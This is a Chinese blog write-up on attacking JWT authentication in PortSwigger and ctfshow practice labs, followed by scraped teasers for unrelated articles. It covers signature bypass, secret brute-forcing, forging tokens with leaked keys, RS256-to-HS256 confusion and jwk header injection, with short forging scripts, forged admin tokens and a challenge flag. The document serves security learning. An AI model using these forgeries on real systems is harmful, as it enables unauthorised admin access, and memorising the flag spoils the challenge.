jwt身份验证和基本的利用方式

前言 :

什么是jwt(json web token)? 看看英文单词的意思就是  json形式的token

他的基本的特征 :

类似于这样的 他有2个点 分割  

解码的时候会有三个部分 

头部 payload 对称密钥     这个就是对称加密

头部:标明了  需要进行加密的方式是什么(一般就是对称加密 =》 SH256 和 非对称加密 =》RH256)

这些都叫 alg头 (算法头) 当然还有一些typ, kid等

中间的就是要加密的内容 需要是json形式的;

尾部是签证 主要就是利用密钥进行加密: 主要是  jwt.encode(payload,alg,key)

插件的使用:

burp自带

需要导入的插件 :

https://github.com/CompassSecurity/jwt-scanner

打靶 burp靶场:

1、无签证的 jwt 验证

实验:通过未经验证的签名绕过 JWT 身份验证 |网络安全学院

访问靶场   插件会自动的检测

这里就有个牛13插件  jwt-scan    https://github.com/CompassSecurity/jwt-scanner

演示 : 

也可以直接识别到  对方jwt的基本特征

当然你如果不信插件可以看特征

进行解密

发现是很全面的  这个漏洞主要出在后端没有接受 jwt的签证验证 这个密钥就是吓唬你的  直接改数据就行 这些参数时 payloa的的 

iss :jwt的签发者

exp : 发布的时间戳

sub : jwt面向的用户

改一下访问后台

2、第二个有缺陷的签名认证

3、第三关  对称加密的缺陷

使用工具 :https://github.com/ticarpi/jwt_tool

使用方法   

python ./jwt_tool jwt数据 -C -d +字典

-C 是只让其显示正确的 key

使用插件验证一下   

然后知道密钥之后我们就可以重新生成一个jwt密文 

使用脚本 :

pip install PyJWT==1.7.1  先进行下载库 如果没有这个版本可以不加版本号import jwt    //导入库
payload={"user":"administrator"}   //设置荷载
key = 'secret1'     //设置 秘钥
print(jwt.encode(payload, key, algorithm='HS256'))   //进行加密

脚本还是要会写的 因为这个jwt的操作比较少

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.rLCBnvGEPxuOK2GeDFmK-xuIf05CiVlfjwjmGmoLKzk

使用这个jwt进行登录

4、第四个实验

ctfshow 349

RH加密但是私/公钥泄露  

审计一下

我们知道了逻辑是 私钥加密公钥解密  但是有一点就是非对称:私钥加密就一定可以解码 实际上我们只要知道泄露的私钥其实就能进行解密了

也是上面的脚本修改一下

import jwt
payload={"user":"admin"}
key =open('./private.key').read()
print(jwt.encode(payload, key, algorithm='RS256'))
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU

使用这个进行访问

是 router的问题啊是post请求   右键进行修改

ctfshow{a57a1ea7-eb92-4a7e-8d05-3959e800db95}

5、第五个实验 解密算法模式配置的错误导致可以使用对称加密进行加解密

ctfshow 350 :

看一下源码 发现  私钥是丢失的 : 但是我们看一下   alg是直接写的 cert

cert是读取的公钥   这个公钥我们是有的  但是他没有写模式

所以我们完全可以使用 sh256 进行混淆

使用脚本重新进行加密

var jwt = require('jsonwebtoken');  //jwt 库
var fs = require('fs');   //文件管理库
var privateKey = fs.readFileSync('./public.key');  
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

使用脚本生成jwt然后访问就行了

6、第六关:  jwk绕过实现越权

什么是jwk?JSON Web Key  就是对jwk加密的密钥的描述

结构

json
{"kty": "RSA",            // 密钥类型(RSA/EC/oct等)"use": "sig",            // 用途:签名(sig)或加密(enc)"kid": "2023-rsa-key",   // 密钥唯一标识(用于匹配 JWT 头部的 kid)"alg": "RS256",          // 算法"n": "modulus-value",    // RSA 模数(Base64URL 编码)"e": "exponent-value"    // RSA 指数(Base64URL 编码)
}

还有一个就是jku?JWK Set URL  简单的说就是把加密的方式和密钥放到url地址 访问来实现的

实验:通过 jwk 标头注入绕过 JWT 身份验证 |网络安全学院

开始打靶 : 抓包发到  jwtscan上去

识别出来时 jwk头注入 从特征其实也看出来了  就是这个kid   然后:

点击攻击 :然后选择第一个选项

点击确定 点一下sign进行和前面的同步

发包进行了跳转 (3开头)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/904271.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

n8n工作流自动化平台的实操:利用本地嵌入模型,完成文件内容的向量化及入库

1.成果展示 1.1n8n的工作流 牵涉节点:FTP、Code、Milvus Vector Store、Embeddings OpenAI、Default Data Loader、Recursive Character Text Splitter 12.向量库的结果 2.实操过程 2.1发布本地嵌入模型服务 将bge-m3嵌入模型,发布成满足open api接口…

MATLAB人工大猩猩部队GTO优化CNN-LSTM多变量时间序列预测

本博客来源于CSDN机器鱼,未同意任何人转载。 更多内容,欢迎点击本专栏目录,查看更多内容。 目录 0 引言 1 数据准备 2 CNN-LSTM模型搭建 3 GTO超参数优化 3.1 GTO函数极值寻优 3.2 GTO优化CNN-LSTM超参数 3.3 主程序 4 结语 0 引言…

git项目迁移,包括所有的提交记录和分支 gitlab迁移到gitblit

之前git都是全新项目上传,没有迁移过,因为迁移的话要考虑已有项目上的分支都要迁移过去,提交记录能迁移就好;分支如果按照全新项目上传的方式需要新git手动创建好老git已有分支,在手动一个一个克隆老项目分支代码依次提…

Photo-SLAM论文理解、环境搭建、代码理解与实测效果

前言:第一个解耦式Photo-SLAM,亮点和效果。 参考:https://zhuanlan.zhihu.com/p/715311759 全网最细PhotoSLAM的conda环境配置教程,拒绝环境污染!!-CSDN博客 1. 环境搭建 硬件:RTX 4090D wi…

如何使用VSCode编写C、C++和Python程序

一、首先准备好前期工作。如下载安装Python、VSCode、一些插件等。写代码之前需要先创建文件夹和文件。 二、将不同语言写的代码放在不同的文件夹中,注意命名时不要使用中文。 三、打开VSCode,点击“文件”->“打开文件夹”->“daimalainxi”->…

基于不确定性感知学习的单图像自监督3D人体网格重建 (论文笔记与思考)

文章目录 论文解决的问题提出的算法以及启发点 论文解决的问题 首先这是 Self-Supervised 3D Human mesh recovery from a single image with uncertainty-aware learning (AAAI 2024)的论文笔记。该文中主要提出了一个自监督的framework用于人体的姿态…

Leetcode刷题记录33——二叉树的最小深度

题源:https://leetcode.cn/problems/minimum-depth-of-binary-tree/description/ 题目描述: 思路一: 使用 DFS 递归遍历的解法,每当遍历到一条树枝的叶子节点,就会更新最小深度,当遍历完整棵树后&#x…

有效的括号(20)

20. 有效的括号 - 力扣&#xff08;LeetCode&#xff09; 解法&#xff1a; class Solution { public:bool isValid(string s) {unordered_map<char, char> m {{), (}, {],[}, {}, {}};stack<char> stk;for (int i 0; i < s.size(); i) {if (s[i] ( || s[i…

电子邮件相关协议介绍

0 Preface/Foreword 1 协议介绍 电子邮件包含的主要协议&#xff1a; SMTPPOPIMAP 1.1 SMPT SMPT: Simple Mail Transfer Protocol&#xff0c;电子邮件传输的标准协议&#xff0c;负责将邮件从发送方传输到接收方邮件服务器。 1.2 POP POP&#xff1a; Post Office Protoc…

Linux压缩和解压类

一、gzip/gunzip 压缩 1、基本语法 gzip 文件 &#xff08;功能描述&#xff1a;压缩文件&#xff0c;只能将文件压缩为*.gz文件&#xff09; gunzip 文件.gz &#xff08;功能描述&#xff1a;解压缩文件命令&#xff09; 2、经验技巧 &#xff08;1&#…

力扣hot100 (除自身以外数组的乘积)

238. 除自身以外数组的乘积 中等 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除…

什么是“系统调用”

一、什么是“系统调用”&#xff1f;用生活中的比喻理解 可以把“系统调用”比作你&#xff08;用户&#xff09;向“管理员”请求帮助完成某件事情的过程。 举个例子&#xff1a; 你想借书&#xff0c;去图书馆&#xff08;操作系统&#xff09;找管理员&#xff08;内核&a…

三维重建(二十一)——第二步和第三步

文章目录 一、上一篇5.3.1 train-185.3.2 test-193二、第二步:自己重新写一个代码,利用RTK的参数,成功的和gshell的渲染图片一样2.1 只能单独一个图片,并且需要调整输入pose\内参问题描述可能原因2.2 批量输出问题描述可能原因解决方案重新检查代码发现错误2.3 成功三、第三…

n8n 中 No Operation 节点说明

n8n 中 No Operation 节点说明 当"什么都不做"也是一种设计:n8n No Operation 节点深度解析一、No Operation节点是什么?二、为什么需要"空节点"?1. 流程可视化注释2. 调试占位符3. 流程拓扑优化三、实战应用场景场景1:审批流程占位四、设计哲学思考五…

使用 JavaScript 实现数据导出为 Excel 和 CSV 文件

在 Web 开发中&#xff0c;经常会遇到需要将数据导出为文件的需求&#xff0c;例如将数据导出为 Excel 或 CSV 文件。今天&#xff0c;我们就来探讨如何使用 JavaScript 实现这一功能。 一、实现思路 我们通过 HTML 创建一个按钮&#xff0c;点击按钮时&#xff0c;触发 Java…

青听音乐 1.0.6| 全网音乐免费听,无损下载,4条音源,界面简洁无广告

一款强大的音乐播放器&#xff0c;内部集成了相当丰富的功能&#xff0c;可以一键搜索任何想要的歌曲或歌手专辑&#xff0c;同时还支持下载和收藏&#xff0c;拥有非常流畅的速度&#xff0c;使用起来没有任何限制&#xff01;软件自带有大厂的解析音源&#xff0c;运行非常稳…

动态规划之子序列问题1

以leetcode300题为例 此题最为经典&#xff0c;所有的算法书在讲子序列问题时都以这个为模板题&#xff0c;后面的题可以按照此题的分析方法进行分析 区分子序列和子数组 例如a&#xff0c;b&#xff0c;c&#xff0c;d&#xff0c;e这个数组 子数组是必须连续的&#xff0c;…

android-ndk开发(4): linux开发机有线连接android设备

android-ndk开发(4): linux开发机有线连接android设备 2025/05/05 1. 概要 linux 系统&#xff0c; 例如最常见的 ubuntu&#xff0c; 在通过 USB 线把 android 设备连接到开发机上时&#xff0c; 仅仅是 ”物理上的连接”。 这时候 adb 是无法识别到 android 设备的。 需要…

NOI 2025 大纲更新:算法竞赛的新风向标

《NOI 2025 大纲更新&#xff1a;算法竞赛的新风向标》 在信息学奥林匹克竞赛&#xff08;NOI&#xff09;的赛场上&#xff0c;每一次大纲的更新都如同一场风暴的前奏&#xff0c;它预示着竞赛知识体系的变革&#xff0c;也引领着选手们备战的方向。2025 年的 NOI 大纲已经正…

Spring Boot 集成 Solr 的详细步骤及示例

环境准备 安装 Solr &#xff1a;从 Solr 官网&#xff08;Welcome to Apache Solr - Apache Solr&#xff09;下载并安装最新版本&#xff0c;然后通过命令 bin/solr start 启动 Solr 服务&#xff0c;使用 bin/solr create -c mycore 创建一个新的 Solr 核心。 安装 JDK &am…